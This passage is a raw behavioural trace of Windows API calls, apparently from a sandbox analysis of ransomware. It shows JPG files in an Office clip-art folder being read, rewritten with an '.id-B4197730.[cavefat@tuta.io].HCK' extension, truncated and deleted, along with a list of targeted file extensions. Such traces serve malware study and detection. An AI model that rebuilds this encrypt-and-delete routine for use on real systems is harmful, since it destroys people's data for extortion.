returned 0xffffffff [0228.675] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099187.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0228.676] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0228.676] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0228.676] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099187.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0228.677] GetLastError () returned 0x0 [0228.677] ReadFile (in: hFile=0x458, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x5fd0, lpOverlapped=0x0) returned 1 [0228.678] WriteFile (in: hFile=0x534, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0x5fe0, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0x5fe0, lpOverlapped=0x0) returned 1 [0228.679] ReadFile (in: hFile=0x458, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0228.679] WriteFile (in: hFile=0x534, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0xec, lpOverlapped=0x0) returned 1 [0228.680] SetEndOfFile (hFile=0x534) returned 1 [0228.680] CloseHandle (hObject=0x534) returned 1 [0228.680] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0228.680] SetEndOfFile (hFile=0x458) returned 1 [0228.682] CloseHandle (hObject=0x458) returned 1 [0228.682] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0228.682] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099187.jpg")) returned 1 [0228.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0228.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0228.683] lstrlenW (lpString=".doc") returned 4 [0228.683] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0228.683] lstrlenW (lpString=".docx") returned 5 [0228.683] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0228.683] lstrlenW (lpString=".pdf") returned 4 [0228.683] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0228.683] lstrlenW (lpString=".xls") returned 4 [0228.683] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0228.683] lstrlenW (lpString=".xlsx") returned 5 [0228.683] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0228.683] lstrlenW (lpString=".ppt") returned 4 [0228.684] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0228.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0228.684] lstrlenW (lpString=".zip") returned 4 [0228.684] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0228.684] lstrlenW (lpString=".rar") returned 4 [0228.684] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0228.684] lstrlenW (lpString=".bz2") returned 4 [0228.684] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0228.684] lstrlenW (lpString=".7z") returned 3 [0228.684] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0228.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0228.684] lstrlenW (lpString=".dbf") returned 4 [0228.684] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0228.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0228.684] lstrlenW (lpString=".1cd") returned 4 [0228.684] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0228.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0228.684] lstrlenW (lpString=".jpg") returned 4 [0228.684] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0228.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0228.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0228.684] lstrlenW (lpString=".doc") returned 4 [0228.684] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0228.684] lstrlenW (lpString=".docx") returned 5 [0228.684] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0228.684] lstrlenW (lpString=".pdf") returned 4 [0228.684] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0228.684] lstrlenW (lpString=".xls") returned 4 [0228.684] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0228.684] lstrlenW (lpString=".xlsx") returned 5 [0228.684] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0228.684] lstrlenW (lpString=".ppt") returned 4 [0228.684] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0228.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0228.684] lstrlenW (lpString=".zip") returned 4 [0228.684] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0228.684] lstrlenW (lpString=".rar") returned 4 [0228.684] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0228.684] lstrlenW (lpString=".bz2") returned 4 [0228.684] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0228.684] lstrlenW (lpString=".7z") returned 3 [0228.684] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0228.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0228.684] lstrlenW (lpString=".dbf") returned 4 [0228.685] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0228.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0228.685] lstrlenW (lpString=".1cd") returned 4 [0228.685] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0228.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0228.685] lstrlenW (lpString=".jpg") returned 4 [0228.685] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0228.685] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0228.685] lstrlenW (lpString="J0099188.JPG") returned 12 [0228.685] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099188.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0228.685] GetFileSizeEx (in: hFile=0x458, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=9080) returned 1 [0228.685] CloseHandle (hObject=0x458) returned 1 [0228.685] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099188.jpg")) returned 0x220 [0228.686] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099188.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0228.686] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099188.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0228.686] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0228.686] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0228.686] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099188.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0228.689] GetLastError () returned 0x0 [0228.689] ReadFile (in: hFile=0x458, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x2378, lpOverlapped=0x0) returned 1 [0228.691] WriteFile (in: hFile=0x4c0, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0x2380, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0x2380, lpOverlapped=0x0) returned 1 [0228.691] ReadFile (in: hFile=0x458, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0228.691] WriteFile (in: hFile=0x4c0, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0xec, lpOverlapped=0x0) returned 1 [0228.692] SetEndOfFile (hFile=0x4c0) returned 1 [0228.692] CloseHandle (hObject=0x4c0) returned 1 [0228.692] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0228.692] SetEndOfFile (hFile=0x458) returned 1 [0228.694] CloseHandle (hObject=0x458) returned 1 [0228.694] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0228.694] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099188.jpg")) returned 1 [0228.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0228.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0228.695] lstrlenW (lpString=".doc") returned 4 [0228.695] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0228.695] lstrlenW (lpString=".docx") returned 5 [0228.695] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0228.695] lstrlenW (lpString=".pdf") returned 4 [0228.695] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0228.695] lstrlenW (lpString=".xls") returned 4 [0228.695] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0228.695] lstrlenW (lpString=".xlsx") returned 5 [0228.695] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0228.695] lstrlenW (lpString=".ppt") returned 4 [0228.695] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0228.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0228.695] lstrlenW (lpString=".zip") returned 4 [0228.695] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0228.695] lstrlenW (lpString=".rar") returned 4 [0228.695] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0228.695] lstrlenW (lpString=".bz2") returned 4 [0228.695] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0228.695] lstrlenW (lpString=".7z") returned 3 [0228.695] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0228.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0228.695] lstrlenW (lpString=".dbf") returned 4 [0228.695] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0228.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0228.696] lstrlenW (lpString=".1cd") returned 4 [0228.696] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0228.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0228.696] lstrlenW (lpString=".jpg") returned 4 [0228.696] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0228.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0228.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0228.696] lstrlenW (lpString=".doc") returned 4 [0228.696] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0228.696] lstrlenW (lpString=".docx") returned 5 [0228.696] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0228.696] lstrlenW (lpString=".pdf") returned 4 [0228.696] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0228.696] lstrlenW (lpString=".xls") returned 4 [0228.696] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0228.696] lstrlenW (lpString=".xlsx") returned 5 [0228.696] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0228.696] lstrlenW (lpString=".ppt") returned 4 [0228.696] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0228.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0228.696] lstrlenW (lpString=".zip") returned 4 [0228.696] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0228.696] lstrlenW (lpString=".rar") returned 4 [0228.696] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0228.696] lstrlenW (lpString=".bz2") returned 4 [0228.696] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0228.696] lstrlenW (lpString=".7z") returned 3 [0228.696] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0228.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0228.696] lstrlenW (lpString=".dbf") returned 4 [0228.696] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0228.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0228.697] lstrlenW (lpString=".1cd") returned 4 [0228.697] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0228.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0228.697] lstrlenW (lpString=".jpg") returned 4 [0228.697] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0228.697] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0228.697] lstrlenW (lpString="J0099189.JPG") returned 12 [0228.697] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099189.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0228.697] GetFileSizeEx (in: hFile=0x458, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=8076) returned 1 [0228.697] CloseHandle (hObject=0x458) returned 1 [0228.697] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099189.jpg")) returned 0x220 [0228.698] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099189.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0228.698] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099189.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0228.698] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0228.698] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0228.698] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099189.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0228.700] GetLastError () returned 0x0 [0228.700] ReadFile (in: hFile=0x458, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x1f8c, lpOverlapped=0x0) returned 1 [0228.701] WriteFile (in: hFile=0x4c0, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0x1f90, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0x1f90, lpOverlapped=0x0) returned 1 [0228.702] ReadFile (in: hFile=0x458, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0228.702] WriteFile (in: hFile=0x4c0, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0xec, lpOverlapped=0x0) returned 1 [0228.702] SetEndOfFile (hFile=0x4c0) returned 1 [0228.702] CloseHandle (hObject=0x4c0) returned 1 [0228.702] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0228.702] SetEndOfFile (hFile=0x458) returned 1 [0228.705] CloseHandle (hObject=0x458) returned 1 [0228.705] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0228.705] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099189.jpg")) returned 1 [0228.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0228.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0228.706] lstrlenW (lpString=".doc") returned 4 [0228.706] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0228.706] lstrlenW (lpString=".docx") returned 5 [0228.706] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0228.706] lstrlenW (lpString=".pdf") returned 4 [0228.706] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0228.706] lstrlenW (lpString=".xls") returned 4 [0228.706] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0228.706] lstrlenW (lpString=".xlsx") returned 5 [0228.706] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0228.706] lstrlenW (lpString=".ppt") returned 4 [0228.706] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0228.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0228.706] lstrlenW (lpString=".zip") returned 4 [0228.706] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0228.706] lstrlenW (lpString=".rar") returned 4 [0228.706] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0228.706] lstrlenW (lpString=".bz2") returned 4 [0228.706] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0228.706] lstrlenW (lpString=".7z") returned 3 [0228.706] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0228.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0228.706] lstrlenW (lpString=".dbf") returned 4 [0228.706] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0228.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0228.706] lstrlenW (lpString=".1cd") returned 4 [0228.706] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0228.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0228.706] lstrlenW (lpString=".jpg") returned 4 [0228.706] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0228.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0228.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0228.706] lstrlenW (lpString=".doc") returned 4 [0228.706] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0228.706] lstrlenW (lpString=".docx") returned 5 [0228.706] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0228.706] lstrlenW (lpString=".pdf") returned 4 [0228.706] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0228.706] lstrlenW (lpString=".xls") returned 4 [0228.706] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0228.707] lstrlenW (lpString=".xlsx") returned 5 [0228.707] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0228.707] lstrlenW (lpString=".ppt") returned 4 [0228.707] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0228.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0228.707] lstrlenW (lpString=".zip") returned 4 [0228.707] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0228.707] lstrlenW (lpString=".rar") returned 4 [0228.707] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0228.707] lstrlenW (lpString=".bz2") returned 4 [0228.707] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0228.707] lstrlenW (lpString=".7z") returned 3 [0228.707] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0228.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0228.707] lstrlenW (lpString=".dbf") returned 4 [0228.707] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0228.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0228.707] lstrlenW (lpString=".1cd") returned 4 [0228.707] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0228.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0228.707] lstrlenW (lpString=".jpg") returned 4 [0228.707] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0228.707] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0228.707] lstrlenW (lpString="J0099190.JPG") returned 12 [0228.707] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099190.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0229.090] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=43892) returned 1 [0229.090] CloseHandle (hObject=0x548) returned 1 [0229.091] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099190.jpg")) returned 0x220 [0229.091] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099190.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0229.091] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099190.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0229.123] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.123] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, 